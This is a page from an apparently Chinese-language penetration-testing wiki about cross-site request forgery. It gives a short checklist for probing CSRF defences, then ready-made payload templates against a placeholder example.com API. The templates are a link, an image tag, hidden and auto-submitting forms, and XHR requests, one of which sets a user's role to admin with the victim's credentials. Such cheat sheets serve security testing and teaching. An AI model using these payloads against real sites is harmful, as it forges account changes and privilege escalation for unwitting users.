> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/chu-shi-fang-wen/web-fu-wu-tu-po/csrf.md).

# CSRF

```
查看有无token等验证身份的参数，删掉后是否返回正常
查看header中referer,origin参数，删掉后是否返回正常
使用csrftester/burpsuite生成表单，以另一账号和浏览器打开测试
去掉referer中域名后面的文件夹或文件
替换二级域名
```

**GET需要用户交互**

```
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
```

**GET无用户交互**

```
<img src="http://www.example.com/api/setusername?username=CSRFd">
```

**POST需要用户交互**

```
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>
```

**POST无用户交互**

```
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>
 
<script>
 document.getElementById("autosubmit").submit();
</script>
```

**JSON GET**

```
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
```

**JSON POST**

```
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
```